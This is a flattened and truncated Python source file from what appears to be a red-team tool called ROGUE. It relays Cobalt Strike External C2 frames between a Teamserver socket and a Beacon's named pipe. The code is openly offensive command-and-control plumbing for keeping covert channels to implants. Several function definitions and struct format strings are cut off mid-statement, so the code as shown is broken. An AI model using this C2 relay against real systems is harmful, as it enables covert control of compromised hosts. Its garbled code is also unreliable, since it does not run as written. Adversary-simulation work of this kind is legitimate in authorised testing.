# # ROGUE # # GuidePoint Security LLC # # Threat and Attack Simulation Team # import os import sys import click import struct import socket import random import click_params from lib import errors from lib import static from lib import buffer from lib import ntstatus from lib import logging from lib import helper from lib.client import rogue_cmd def send_frame_sock( sock_fd, buffer : bytes ) -> None: """ Sends a extc2 frame to the Cobalt Strike Teamserver. """ # create the buffer: [len] + buffer buf = struct.pack( ' bytes: """ Recieves a extc2 frame from the Cobalt Strike Teamserver. """ # read the buffer size buf = sock_fd.recv( 4 ) # extract the frame size buffer_size = struct.unpack( ' None: """ Sends a extc2 frame to the Beacon. """ # Write the length in little endian first cmd_obj.rogue_pipe_write( agent_id, pipe_fd, struct.pack( ' bytes: """ Receives a extc2 frame from the Beacon. """ # read the buffer size from the buffer! buffer_size = 0 buffer_task = b'' while True: try: # read a buffer if possible! buf = cmd_obj.rogue_pipe_read( agent_id, pipe_fd, 4, True ); if buf != b'': # unpack the incoming size! buffer_size = struct.unpack( '